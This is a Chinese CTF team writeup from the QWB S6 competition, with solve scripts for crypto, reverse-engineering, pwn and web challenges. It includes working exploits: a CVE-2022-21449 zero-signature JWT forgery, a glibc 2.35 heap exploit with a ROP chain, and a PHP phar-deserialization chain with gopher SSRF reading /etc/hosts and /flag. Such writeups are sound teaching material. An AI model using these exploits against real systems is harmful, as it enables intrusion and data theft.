TeamGipsy战队 WRITEUP

一、战队信息

战队名称:TeamGipsy

战队排名:68

二、解题情况

image-20220801133145873

三、解题过程

Misc

签到

1
flag{we1come_t0_qwb_s6}

问卷调查

填写问卷得到flag

Crypto

myJWT

使用的是ECDSA,虽然是密码题,但并不是对ECDSA的签名、验证等步骤操作,这些都由java封装好了

所以是java的问题

由于代码中使用的格式是SHA384withECDSAinP1363Format,经过搜索是CVE-2022-21449,发现竟然是java没有判断$(r,s)$是否等于0。。。

image-20220731114449362

此外这些都是不安全的

image-20220731114725609

  • CVE-2022-21449

    java没有判断$(r,s)$是否等于0会如何呢?其实在签名的时候一般都会确保$(r,s)$不为0的,但在验签的时候忽略了

    image-20220731120318947

    验签时计算
    $$
    r=x_P\notag
    $$
    而$P\equiv u_1G+u_2D\equiv s^{-1}zG+s^{-1}rD\equiv s^{-1}G(z+rd)\ (mod\ n)$

    当然0的逆元是不存在的,但是看看java这里是怎么求逆元的

    image-20220731115417980

    相当于计算$x^{n-2}$,如果$x\ne0$,那么根据费马小定理($n$为质数)
    $$
    x^{n-1}\equiv x\ (mod\ n)\notag
    $$
    那么
    $$
    x^{n-2}\equiv x^{-1}\ (mod\ n)\notag
    $$
    也就是说为了简化或者说提高效率,java使用费马小定理求逆元的,而且没有判断0,这样就造成了
    $$
    0^{n-2}\equiv 0\ (mod\ n)\notag
    $$
    $P\equiv 0\cdot G(z+rd)\ (mod\ n)\equiv 0\ (mod\ n)$

    最终使得$r=x_P=0$验证通过

  • attack

    这里如何实现将$r,s$都赋值为0?看CVE的demo是直接喂\x00的base64编码,不懂为什么,还没深究

    exp如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from base64 import *
    from pwn import *

    io = remote('47.104.76.78', 23334)

    fake_sig = b'\x00\x00'
    name = b'4xwi11'
    io.sendlineafter(b'your name:', name)
    io.sendlineafter(b'>', b'1')
    token = io.recvline().decode()[:-1]
    head, payload, _ = token.split('.')
    payload = b64decode(payload).replace(b'false', b'true')
    io.sendlineafter(b'>', b'2')
    payload_x = head.encode() + b'.' + b64encode(payload) + b'.' + b64encode(fake_sig)
    io.sendline(payload_x)
    print(io.recvline()[:-1])
    # b'your token:flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}'

btw,不知道是不是jdk版本的问题,我本地不行

Factor

就完全是这篇论文的复现了New attacks on RSA with Moduli N = p^rq[6]

注意第一和第二种攻击中,用CopperSmith解小根就可以得到相应的未知数

image-20220731171326864

image-20220731171300864

完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Crypto.Util.number import *
from gmpy2 import *
from sage import *

# solve m1, m2
def solve_m1_m2():
n11 = 801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
n12 = 635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
e11 = 1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
e12 = 1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
c11 = 18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
c12 = 336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
for _ in sub_fraction(n11, n12):
q11, q12 = _[0], _[1]
if n11 % q11 == 0 and q12 != 1:
p11 = iroot(n11 // q11, 2)[0]
p12 = iroot(n12 // q12, 2)[0]
assert p11 ** 2 * q11 == n11
assert p12 ** 2 * q12 == n12
phi1 = p11 * (p11 - 1) * (q11 - 1)
phi2 = p12 * (p12 - 1) * (q12 - 1)
d1 = invert(e11, phi1)
d2 = invert(e12, phi2)
return pow(c11, d1, n11), pow(c12, d2, n12)

# solve b
def solve_b():
n2 = 209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
e2 = 65537
c2 = 18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653
m1, m2 = solve_m1_m2()
PR.<x> = PolynomialRing(Zmod(n2))
f = m1 * m2 * x - (m2 - m1)
f = f.monic()
root = int(f.small_roots(X=2 ^ 1000, beta=0.75)[0])
p2 = gcd(int(f(root)), n2)
p2 = iroot(p2, 6)[0]
q2 = n2 // (p2 ** 7)
phi2 = p2 ** 6 * (p2 - 1) * (q2 - 1)
d2 = invert(e2, phi2)
return pow(c2, d2, n2)

# solve flag
n3 = 539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3 = 8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
c3 = 113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763
b = solve_b()
PR.<x> = PolynomialRing(Zmod(n3))
f = e3 * x - int(b)
f = f.monic()
root = int(f.small_roots(X=2 ^ 675, beta=0.75)[0])
p3 = gcd(int(f(root)), n3)
p3 = iroot(p3, 6)[0]
q3 = n3 // p3 ** 7
phi3 = p3 ** 6 * (p3 - 1) * (q3 - 1)
d3 = invert(e3, phi3)
m = pow(c3, d3, n3)
print(long_to_bytes(m))
# qwb{8633ce6d-fece-4cf1-8f0f-f27e5bf6d678}

PWN

houseofcat

  • 首先逆向进入程序主逻辑先LOGIN |LOGIN r00t QWB QWXFadmin\x00 然后再CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff 就能进入菜单
  • 进入菜单发现free那里是uaf漏洞,add函数里是只能申请0x418到0x46f大小的堆块,再结合给的libc是2.35版本没有free_hook所以大致攻击就是利用house ofemma,但是edit只有两次的修改的机会,利用两次largebinattack修改stderr伪造假的iofile然后改guard为堆地址。再是修改topchunk,我利用unsortedbin会合并的特点实现了一个堆重叠,从而可以伪造size位再次free之后就能有一个更大的假堆块,再修改topchunk的size触发houseofkiwi再实现houseofemma的调用链。由于开了沙箱,而且read的fd只能为0,发现沙箱有close函数就利用close将0关闭再通过open就能使fd为0然后得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#encoding: utf-8
#!/usr/bin/python
from pwn import*
import sys
#context.log_level = "debug"
context.arch="amd64"
binary_name = "house_of_cat"
libc_name = "libc-2.35.so"
ld_name = "ld"
local = 1
version = "3"
elf =ELF("./"+binary_name)
libc = ELF("/home/nelson/Desktop/glibc/{}/{}/{}".format(libc_name,version,libc_name))
#ld = ELF("./"+ld_name)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("47.93.187.169",36038)
else:
io = process("./"+binary_name)

def debug():
gdb.attach(io,'''
b _IO_cookie_write

''')
pause()
def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)
def add(idx,size,content):
sla("choice:\n",'1')
sla("idx:\n",str(idx)) #0x418 - 0x46f
sla('size:\n',str(size))
sla("content:\n",content)
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def edit(idx,content):
sla("choice:\n",'4')
sla("idx:\n",str(idx))
sla("content:\n",content)
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def free(idx):
sla("choice:\n",'2')
sla("idx:\n",str(idx))
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
def show(idx):
sla("choice:\n",'3')
sla("idx:\n",str(idx))

sla("mew mew mew~~~~~~","LOGIN |LOGIN r00t QWB QWXFadmin\x00")
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
payload = b'a'*0x78 + p64(0x7ffff7faea60)
add(0,0x420,payload)
add(0xf,0x420,"aaa")
add(1,0x418,'cccc')
add(0xe,0x418,"ssss")
free(0)
add(2,0x430,"ddd")
show(0)
ru("Context:\n")
libcbase = uu64(io.recv(6)) - 2203856
info("libcbase",libcbase)
rc(10)
heap_addr = uu64(io.recv(6))
info("heap_addr",heap_addr)
sla("mew mew mew~~~~~~","CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff")
stderr_addr = libcbase + libc.sym["stderr"]
info("stderr_addr",stderr_addr)
payload = p64(0)*2 + p64(0)+p64(libcbase-10432-0x20+0x30)
edit(0,payload)
free(1)
payload = p64(0) + p64(0x71)+p64(0)*13+p64(0x21)
add(3,0x430,payload)
##
pop_rdi_ret = libcbase + 0x000000000002a3e5
pop_rsi_ret = libcbase + 0x000000000002be51
pop_rdx_r12_ret = libcbase + 0x000000000011f497
ret_addr = libcbase + 0x0000000000029cd6
gadget = libcbase + 0x00000000001675b0 #mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext = libcbase + libc.sym["setcontext"] + 61

info("setcontext",setcontext)
_IO_stdfile_2_lock = libcbase + 2210400
info("_IO_stdfile_2_lock",_IO_stdfile_2_lock)
##
next_chain = 0
srop_addr = heap_addr + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_addr) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libcbase + 2186112 + 0x40) # vtable
fake_IO_FILE += p64(heap_addr+2400) # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_addr), 0x11))

###
syscall_ret = libcbase + 0x0000000000091396
pop_rax_ret =libcbase + 0x0000000000045eb0
frame = SigreturnFrame()
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr +2704
frame.rip = pop_rdi_ret + 1 # : ret
##orw
flag_addr = heap_addr+2688
read_addr = libcbase + libc.sym["read"]
write_addr = libcbase + libc.sym["write"]
close_addr =libcbase + libc.sym["close"]
orw =flat([
pop_rdi_ret,0,close_addr,
pop_rdi_ret,flag_addr,
pop_rax_ret,2,syscall_ret,
pop_rdi_ret,0,pop_rsi_ret,heap_addr+3232,pop_rdx_r12_ret,0x100,0,read_addr,
pop_rdi_ret,1,pop_rsi_ret,heap_addr+3232,pop_rdx_r12_ret,0x100,0,pop_rax_ret,1,write_addr
])
payload = "aaaaaaaa"+p64(0)+p64(heap_addr+2400)+p64(0)*2+p64(setcontext)+str(frame)[0x28:].ljust(0xF8, '\x00')+'flag'.ljust(0x10, '\x00') + orw
add(4,0x418,fake_IO_FILE+payload)
free(4)
payload = p64(0)*3+p64(libcbase+libc.sym['stderr']-0x20)
edit(0,payload)
add(5,0x430,"payload")
payload = p64(0)*3+p64(0x71)+p64(0)*12+p64(0)+p64(0x21)
add(6,0x430,payload)
free(2)
info("x",heap_addr+5344)
free(3)
payload = "\x00"*0x430+p64(0)+p64(0x8a1)
add(7,0x460,payload)
free(3)
info("top",heap_addr+7520)
free(6)
add(8,0x430,"aaa")
payload = '\x00'*0x438 + p64(0x80)
add(9,0x440,payload)
#debug()
sla("choice:\n",'1')
sla("idx:\n",'10')
sla('size:\n',str(0x460))



ia()

flag 值

flag{e672697f-6e0f-4ebc-aa7f-c941cf974afa}

RE

GameMaster

将exe文件拖入dnSpy进行反编译

分析代码,先进行异或操作,然后再进行aes解密

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import AES
with open(r"C:\Users\gx\Downloads\GameMaster\gamemessage","rb") as f:
c=f.read()
print(len(c))
key=b'qwb2022BlackJack'
iv=b'Brainstorming!!!'
a=AES.new(iv,mode=AES.MODE_ECB)


m=a.decrypt(c)
print(m)
with open("1","wb") as f:
f.write(m)

解出来之后foremost,得到一个新的dll

再拖到dnSpy进行反汇编,分析代码

写出解密脚本得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
def Check1(x, y, z, KeyStream):
num = -1
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
flag = i % 8
if (flag == 0):
num += 1
KeyStream[num] = (KeyStream[num] << 1) | ((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1)))
return KeyStream

def ParseKey(L, Key):
for i in range(3):
for j in range(4):
Key[i * 4 + j] = L[i] >> j * 8 & 255
return Key

from z3 import *
s = Solver()
first = [101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24,
7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5]
KeyStream = [0] * len(first)

x, y, z=BitVecs('x y z', 64)

num = -1
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
flag = i % 8 == 0
if flag:
num+=1
KeyStream[num] = ((KeyStream[num] << 1) | ((((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))))))

for i in range(40):
s.add(first[i]==KeyStream[i])

s.check()
print(s.model())
# [y = 868387187, x = 156324965, z = 3131229747]
y = 868387187
x = 156324965
z = 3131229747
array = [x, y, z]
array2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
array4 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
array5 = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]
array2 = Check1(array[0], array[1], array[2], array2)
array4 = ParseKey(array, array4)
print(array4)
for i in range(len(array5)):
array5[i] ^= array4[i % len(array4)]
array5[i] = chr(array5[i])
print(array5)
flag = 'flag{' + ''.join(array5) + '}'
print(flag)
#flag{Y0u_@re_G3meM3s7er!}

Web

easyweb

ctrl+u 发现存在showfile.php任意文件读取

image-20220801140119319

不过读取的文件名中必须要有demo或者guest,很简单就能绕过。直接读到了class.php index.php showfile.php upload.php

简单看一下,可以发现重点是在class.php,不过在此之前还有一个点,因为所有文件中并没有实现自动打开session,而在showfile.php和upload.php文件中都有限制,必须session存在才能进行文件上传等,就不多说了,可以利用PHP_SESSION_UPLOAD_PROGRESS绕过

class.php

共有三个类,分别为Upload用于文件上传,GuestShow和AdminShow为在showfile.php中用到,而AdminShow中很明显存在SSRF。而既然有类,当然就会想进行反序列化了,而又存在任意文件读取,就会想到利用phar://

1
2
3
4
5
6
7
8
9
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";

那么来找一下链子吧。首先我们最后想要实现的肯定就是AdminShow#show方法的SSRF,那么可以先找一下有哪个链子能到

这里就直接贴了:

1
2
3
4
GuestShow#__destruct
GuestShow#__toString
AdminShow#__get
AdminShow#show

但是我们可以发现AdminShow类中存在__wakeup给$this->schema$this->source赋值,那么就得重新找一下链子绕过了,这里也不多说,直接贴上吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
public function __construct()
{


}
}

class GuestShow{
public $file;
public function __construct()
{

}
}

class AdminShow{
public $source;
public $schema;
public function __construct()
{

}

}

$show = new AdminShow();
$guest = new GuestShow();
$guest1 = new GuestShow();
$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();
$guest->file = $upload;
$upload->tmp = $show;
$show->str[0] = $upload1;
$upload1->date=''; // 给source赋值
$upload1->filesize = $show;
$upload2->filesize = $show;
$upload2->tmp = $guest1;
$show->str[1] = $upload2;
$upload2->date = ''; // 给schema赋值
$guest1->file = $show;
$phar = new Phar("test.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($guest);
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
rename('test.phar','f.jpg');

然后把文件上传,并通过showfie.php进行phar://协议触发反序列化,最先我们可以先读取/etc/hosts发现

1
2
172.18.0.2	3b35825919ae
10.10.10.5 3b35825919ae

那么先可以利用http协议查看那个ip存在可利用信息,最终发现在10.10.10.10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//内网资源阅读器-测试机
//配置信息请看phpinfo.php


highlight_file(__FILE__);

if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
system('cat /flag');
die();
}

?>

最后利用gopher进行GET利用url file协议读取flag就好了

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

payload = \
"""GET /?url=file:///flag HTTP/1.1
Host: 10.10.10.101
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://10.10.10.10:80/'+'_'+new
print(result)

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import base64
import requests
import re


def edit(filename):
with open(filename, 'rb') as f:
a = base64.b64encode(f.read())
c = base64.b64encode(base64.b64decode(a).replace(b"10.10.10.5", b"10.10.10.6"))
with open('e.jpg', 'wb') as w:
w.write(base64.b64decode(c))


def upload():
url = 'http://47.104.95.124:8080/upload.php'
# url = 'http://127.0.0.1:40012/upload.php'
data = {'PHP_SESSION_UPLOAD_PROGRESS': '123456789'}
files = {'file': open('f.jpg', 'rb')}
r = requests.post(url, files=files, data=data, cookies={'PHPSESSID': 'test2'})
if r.status_code == 200:
print(r.text)


def phar(payload):
# url = 'http://47.104.95.124:8080/showfile.php?f='
url = 'http://47.104.95.124:8080/showfile.php?f=php://filter/guest/resource=phar:///var/www/html/'
# url = 'http://127.0.0.1:40012/showfile.php?f=php://filter/guest/resource=phar://'

# print(upload())
# payload = 'phar:///var/www/html/' + upload()
# data = {'PHP_SESSION_UPLOAD_PROGRESS': '111111111'}
# files = {'file': '123'}
r = requests.get(url + payload)
print(r.text)


def getFileByGuestShow():
global content
filename = ['index.php', 'showfile.php', 'class.php', 'upload.php']
for file in filename:
url = 'http://47.104.95.124:8080/showfile.php?f=demo/../' + file
r = requests.get(url)
print(r.text)
zz = re.compile('<img src=data:jpg;base64,[a-zA-Z0-9\\\+/=]{1,}')
if zz.findall(r.text):
content = zz.findall(r.text)[0][25:]
print(content)
try:
with open(file, 'wb') as w:
base = base64.b64decode(content)
print(base)
w.write(base)
except:
continue


def getFileByAdminShow():
url = 'http://47.104.95.124:8080/showfile.php?f='
data = {'PHP_SESSION_UPLOAD_PROGRESS': '111111111'}
payload = '../../../../etc/hosts'
files = {'file': '123'}
r = requests.post(url + payload, files=files, data=data, cookies={'PHPSESSID': 'test123456'})
print(r.text)


if __name__ == '__main__':
# edit('e.jpg')
upload()
# getFileByGuestShow() # 获取文件内容
phar('16029c2703ba2ab39d897f966a28f95c/f.jpg') # 上传文件并执行phar
# getFileByAdminShow()

QQ图片20220801142401

flag:

1
flag{easy_penetration_it_is_!_QAQ}

强网先锋

rcefile

存在www.zip泄露

upload.php中存在黑名单,并且尝试上传phps等后缀的时候发现并没有被解析,但是可以上传inc文件

